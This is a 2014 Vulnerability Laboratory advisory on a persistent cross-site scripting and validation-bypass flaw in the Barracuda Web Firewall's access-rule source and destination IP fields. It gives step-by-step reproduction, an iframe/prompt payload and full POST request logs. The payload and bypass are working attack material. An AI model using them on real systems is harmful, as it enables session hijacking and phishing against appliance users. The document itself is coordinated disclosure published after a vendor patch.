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Barracuda Networks Firewall Bug Bounty #32 - Filter Bypass & Persistent Web Vulnerabilities



Document Title:
===============
Barracuda Networks Firewall Bug Bounty #32 - Filter Bypass & Persistent Web Vulnerabilities


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1069

Barracuda Networks Security ID (BNSEC): BNSEC-2069


Release Date:
=============
2014-02-24


Vulnerability Laboratory ID (VL-ID):
====================================
1069


Common Vulnerability Scoring System:
====================================
4


Product & Service Introduction:
===============================
The Barracuda Firewall goes beyond traditional network firewalls and UTMs by providing powerful network security, granular layer 7 
application controls, user awareness and secure VPN connectivity combined with cloud-based malware protection, content filtering 
and reporting. It alleviates the performance bottlenecks in Unified Threat Management (UTM) appliances through intelligent integration 
of on-premise and cloud-based technologies. While the powerful on-premises appliance is optimized for tasks like packet forwarding and 
routing, Intrusion Prevention (IPS), DNS/DHCP services and site-to-site connectivity; CPU intensive tasks like virus scanning, content 
filtering and usage reporting benefit from the scalable performance and elasticity of the cloud.

(Copy of the Vendor Homepage: https://www.barracuda.com/products/firewall )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered multiple  input validation web vulnerabilities in the Barracuda Networks Web Firewall appliance application.


Vulnerability Disclosure Timeline:
==================================
2013-09-27:	Researcher Notification & Coordination (Ateeq ur Rehman Khan)
2013-09-28:	Vendor Notification (Barracuda Networks Security Team - Bug Bounty Program)
2013-10-03:	Vendor Response/Feedback (Barracuda Networks Security Team - Bug Bounty Program)
2014-02-17:	Vendor Fix/Patch (Barracuda Networks Developer Team) [Coordination: Eric ****** ]
2014-02-24:	Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Barracuda Networks
Product: Web Firewall 6.1.0.016 - Models: X100; X200; X300; X400 & X600


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
Multiple persistent input validation vulnerabilities and a filter bypass issue has been discovered in the official Barracuda Networks Web 
Firewall appliance web application. The vulnerability allows remote attackers or local low privileged application user accounts to inject 
(persistent) own malicious script codes on application-side of the vulnerable module or connected module components.

The vulnerability is located in the `Firewall > Firewall Rules > Add Access Rule` module. The vulnerable input fields are 
`Source` and `Destination` IP Address in the general menu. Remote attackers are able to inject custom malicious script codes 
to the `Source` and `Destination` input fields as IP. 

Attackers can also add new access rules into the application or edit the existing ones with their custom injected payloads. 

To bypass the filter and to be able to save the injected code into the application, attacker needs to create 2 entries. 
First entry should be the Attackers payload and second entry should be any dummy IP address. Application only performs 
validation on the active field which is freshly added and ignores the earlier entries thus allowing successful injection 
of the script code into the application.

Exploitation of the persistent bug and filter bypass issue requires a low privileged application user account and low 
user interaction. Successful exploitation results in session hijacking, persistent phishing, persistent external redirects 
& persistent manipulation of affected or connected module context.

Request Method(s):
				[+] POST

Vulnerable Application(s):
				[+] Firewall (WAF) Appliance Application (X300Vx  v6.1.0.016)

Vulnerable Module(s):
				[+] Firewall  >  Firewall Rules > Add Access Rule > General

Vulnerable Parameter(s):
				[+] fw_access_rule_src_net_type
				[+] fw_access_rule_dst_net_type


Proof of Concept (PoC):
=======================
The persistent input validation web vulnerabilities can be exploited by remote attackers with low privileged web-application user account 
and low user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below.

Manual steps to reproduce the vulnerability:

1. Login with the user account to the barracuda networks web firewall appliance application
2. Goto Firewall  >  Firewall Rules > Add Access Rule > General
3. Fill the name and description with dummy data
4. Goto the IP "Source" input field, Inject the following Payload and click the + button to add.

%20"><iframe onload=prompt(/POC/) src=x></iframe>

5. You should now be able to see a javascript popup proving the existence of this vulnerability.
6. Add another entry and this time, insert a dummy IP and click the + button to add
7. In the IP "Destination" enter the same payload used above.
8. You should again see a javascript popup proving the existence of this vulnerability.
9. Add another entry and this time, insert a dummy IP and click the + button to add
10. Upon clicking save, You should now be able to Save your injected payload without any problems into the application.


POC:
 
IP Source:
<input class="new_button" id="add_src_inc_button" name="+" onclick="add_src_inc_pattern(1);" value="+" type="button"></td></tr>
<tr class="network"><td>"><[PERSISTENT INJECTED SCRIPT CODE!]></td><td><input class="new_button" 
value="-" name="incip^"><[PERSISTENT INJECTED SCRIPT CODE!]>" type="button"></td></tr><tr class="network">
<td>127.0.0.2</td><td><input class="new_button" value="-" name="incip^127.0.0.2" type="button"></td></tr></tbody></table></td>

IP Destination:

<input disabled="" class="new_button" id="add_dst_inc_button" name="+" onclick="add_dst_inc_pattern(1);" value="+" 
type="button"></td></tr><tr class="network"><td>"><iframe onload="prompt(/POC/)" src="x"></iframe></td><td><input class="new_button" 
value="-" name="incip^"><[PERSISTENT INJECTED SCRIPT CODE!]>" type="button"></td></tr><tr class="network">
<td>127.0.0.5</td><td><input class="new_button" value="-" name="incip^127.0.0.5" type="button"></td></tr></tbody></table></td>


Reference(s):
https://firewall.ptest.localhost:6221/cgi-mod/index.cgi?
auth_type=Local&et=1378382541&locale=en_US&password=05e76e9aff6e382822aeb21d3903bcde&realm=&role=&user=guest&primary_tab=FIREWALL&secondary_tab=firewall_access_rules



--- PoC Request Session Logs ---

#1 Injecting Payload:
POST /cgi-mod/index.cgi HTTP/1.1
Host: firewall.ptest.localhost:6221
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0
Accept: text/javascript, text/html, application/xml, text/xml, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
X-Requested-With: XMLHttpRequest
X-Prototype-Version: 1.7
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: https://firewall.ptest.localhost:6221/cgi-mod/index.cgi?
password=10ee36dc6410fdaccebd0de679641b7c&et=1378385983&primary_tab=FIREWALL&new_secondary_tab=firewall_access_rules&
auth_type=Local&update_type=add&locale=en_US&secon
dary_tab=add_access_rule&content_only=1&user=guest&backup_life=0&ispopup=1&parent_name=firewall_access_rules&popup_width=700&popup_height=850
Content-Length: 259
Cookie: ys-fw_custom_user_objects5=o%3Acolumns%3Da%253Ao%25253Aid%25253Dn%2525253A1%25255Ewidth%25253Dn%2525253A150%25255Ehidden
%25253Db%2525253A1%255Eo%25253Aid
%25253Dn%2525253A2%25255Ewidth%25253Dn%2525253A150%255Eo%25253Aid%25253Dn%2525253A3%25255Ewidth%25253Dn%2525253A250%255Eo%25253Aid
%25253Dn%2525253A4%25255Ewidth
%25253Dn%2525253A200%255Eo%25253Aid%25253Dn%2525253A5%25255Ewidth%25253Dn%2525253A50
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

ajax_action=check_param_ajax_single&name=UPDATE_fw_access_rule_src_inc_single&value=%22%3E%3Ciframe%20onload%3Dprompt(%2FPOC%2F)%20src%3Dx%3E%3C%2Fiframe
%3E&user=guest&password=16847fb7405afa069b908f770f5ea75c&et=1378385995&locale=en_US&auth_type=Local&realm=

Response:
HTTP/1.1 200 OK
Server: BarracudaFirewallHTTP 4.0
Date: Thu, 05 Sep 2013 12:43:37 GMT
Content-Type: text/plain; charset=utf-8
Connection: keep-alive
Content-Length: 166

[{"action":"error","message":"Illegal value ("><iframe ...) for <i>Source Include</i>: Invalid CIDR block","field":"UPDATE_fw_access_rule_src_inc_single"}]


#2 Inserting additional Valid dummy IP to bypass filter:

POST /cgi-mod/index.cgi HTTP/1.1
Host: firewall.ptest.localhost:6221
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0
Accept: text/javascript, text/html, application/xml, text/xml, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
X-Requested-With: XMLHttpRequest
X-Prototype-Version: 1.7
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: https://firewall.ptest.localhost:6221/cgi-mod/index.cgi?

password=10ee36dc6410fdaccebd0de679641b7c&et=1378385983&primary_tab=FIREWALL&new_secondary_tab=firewall_access_rules&auth_type=Local
&update_type=add&locale=en_US&secon
dary_tab=add_access_rule&content_only=1&user=guest&backup_life=0&ispopup=1&parent_name=firewall_access_rules&popup_width=700&popup_height=850
Content-Length: 196
Cookie: ys-fw_custom_user_objects5=o%3Acolumns%3Da%253Ao%25253Aid%25253Dn%2525253A1%25255Ewidth%25253Dn%2525253A150%25255Ehidden%25253Db
%2525253A1%255Eo%25253Aid
%25253Dn%2525253A2%25255Ewidth%25253Dn%2525253A150%255Eo%25253Aid%25253Dn%2525253A3%25255Ewidth%25253Dn%2525253A250%255Eo%25253Aid%25253Dn
%2525253A4%25255Ewidth
%25253Dn%2525253A200%255Eo%25253Aid%25253Dn%2525253A5%25255Ewidth%25253Dn%2525253A50
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

ajax_action=check_param_ajax_single&name=UPDATE_fw_access_rule_src_inc_single&value=127.0.0.1&user=guest&password=16847fb7405afa069b908f770f5ea75c&
et=1378385995&locale=en_US&auth_type=Local&realm=

Response:
HTTP/1.1 200 OK
Server: BarracudaFirewallHTTP 4.0
Date: Thu, 05 Sep 2013 12:46:39 GMT
Content-Type: text/plain; charset=utf-8
Connection: keep-alive
Content-Length: 2



#3 Final Save Request:

POST /cgi-mod/index.cgi HTTP/1.1
Host: firewall.ptest.localhost:6221
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0
Accept: text/javascript, text/html, application/xml, text/xml, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
X-Requested-With: XMLHttpRequest
X-Prototype-Version: 1.7
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: https://firewall.ptest.localhost:6221/cgi-mod/index.cgi?
password=2bc6bb8a9ed37744a427f8ced877e515&et=1378385551&primary_tab=FIREWALL&new_secondary_tab=firewall_access_rules&auth_type=
Local&update_type=add&locale=en_US&secon
dary_tab=add_access_rule&content_only=1&user=guest&backup_life=0&ispopup=1&parent_name=firewall_access_rules&popup_width=700&popup_height=850
Content-Length: 2297
Cookie: ys-fw_custom_user_objects5=o%3Acolumns%3Da%253Ao%25253Aid%25253Dn%2525253A1%25255Ewidth%25253Dn%2525253A150%25255Ehidden
%25253Db%2525253A1%255Eo%25253Aid
%25253Dn%2525253A2%25255Ewidth%25253Dn%2525253A150%255Eo%25253Aid%25253Dn%2525253A3%25255Ewidth%25253Dn%2525253A250%255Eo%25253Aid
%25253Dn%2525253A4%25255Ewidth
%25253Dn%2525253A200%255Eo%25253Aid%25253Dn%2525253A5%25255Ewidth%25253Dn%2525253A50
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

auth_type=Local&et=1378385566&password=279846a33c95f3c4e29d25f6f4dc1b4c&primary_tab=FIREWALL&realm=&secondary_tab=firewall_access_rules&
user=guest&locale=en_US&popup_h
eight=850&popup_url=%2Fcgi-mod%2Findex.cgi%3Fpassword%3D2bc6bb8a9ed37744a427f8ced877e515%26et%3D1378385551%26primary_tab%3D
FIREWALL%26new_secondary_tab
%3Dfirewall_access_rules%26auth_type%3DLocal%26update_type%3Dadd%26locale%3Den_US%26secondary_tab%3Dadd_access_rule%26content_only%3D
1%26user%3Dguest%26backup_life
%3D0%26ispopup%3D1%26parent_name%3Dfirewall_access_rules%26popup_width%3D700%26popup_height

%3D850&popup_width=700&UPDATE_new_fw_access_rule_readonly=no&tabs_lasttab=tabs_tab_general&UPDATE_new_fw_access_rule_name=test&
UPDATE_new_fw_access_rule_disabled=&DEFA
ULT_new_fw_access_rule_disabled=no&UPDATE_new_fw_access_rule_desc=test&UPDATE_new_fw_access_rule_action=Allow&
UPDATE_new_fw_access_rule_connection=Dynamic
%20SNAT&DEFAULT_new_fw_access_rule_bidirectional=no&fw_access_rule_sel_services_left_list=&UPDATE_new_fw_access_rule_sel_services=&
UPDATE_new_fw_access_rule_src_inc_te
xt=%22%3E%3Ciframe%20onload%3Dprompt(%2FPOC%2F)%20src%3Dx%3E%3C%2Fiframe%3E%2C127.0.0.1&
UPDATE_new_fw_access_rule_src_inc=incip%5E%22%3E%3Ciframe%20onload%3Dprompt
(%2FPOC%2F)%20src%3Dx%3E%3C%2Fiframe%3E%2Cincip%5E127.0.0.1&fw_access_rule_src_net_type=IP
%20Addresses&UPDATE_fw_access_rule_src_inc_single=127.0.0.1&src_nobjs_inc=Any
&UPDATE_new_fw_access_rule_dst_inc_text=%22%3E%3Ciframe%20onload%3Dprompt(%2FPOC
%2F)%20src%3Dx%3E%3C%2Fiframe%3E%2C127.0.0.1&
UPDATE_new_fw_access_rule_dst_inc=incip%5E%22%3E%3Ciframe%20onload%3Dprompt(%2FPOC%2F)%20src%3Dx%3E%3C%2Fiframe%3E
%2Cincip%5E127.0.0.1&fw_access_rule_dst_net_type=IP

%20Addresses&UPDATE_fw_access_rule_dst_inc_single=127.0.0.1&UPDATE_new_fw_access_rule_bw_prio=internet&
UPDATE_new_fw_access_rule_app_policy=default&fw_access_rule_sel_
apps_left_list=&UPDATE_new_fw_access_rule_sel_apps=&fw_access_rule_sel_users_left_list=&
UPDATE_new_fw_access_rule_sel_users=&UPDATE_new_fw_access_rule_time_obj=&UPDATE
_new_fw_access_rule_iface_group=Matching&UPDATE_new_fw_access_rule_ips_policy=Default&
UPDATE_new_fw_access_rule_syn_fld_protection=Outbound&UPDATE_new_fw_access_rule_m
ax_sess=0&UPDATE_new_fw_access_rule_max_sess_per_src=0&ajax_action=check_param_ajax_full&add_fw_access_rule_name=Add
   

Response Headers:
HTTP/1.1 200 OK
Server: BarracudaFirewallHTTP 4.0
Date: Thu, 05 Sep 2013 12:35:32 GMT
Content-Type: text/plain; charset=utf-8
Connection: keep-alive
Content-Length: 2


Reference(s):
https://firewall.ptest.localhost:6221/cgi-mod/index.cgi


https://firewall.ptest.localhost:6221/cgi-mod/index.cgi?
auth_type=Local&et=1378382541&locale=en_US&password=05e76e9aff6e382822aeb21d3903bcde&realm=&role=&
user=guest&primary_tab=FIREWALL&secondary_tab=firewall_access_rules


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse and encode of the vulnerable fw_access_rule_src_net_type and fw_access_rule_dst_net_type values. 

2014-02-17:	Vendor Fix/Patch (Barracuda Networks Developer Team) [Coordination: Eric ****** ]


Security Risk:
==============
The security risk of the persistent input validation web vulnerabilities are estimated as medium.


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Ateeq ur Rehman Khan (ateeq@xxxxxxxxxxxxxxxxx) [www.vulnerability-lab.com]


Disclaimer & Information:
=========================
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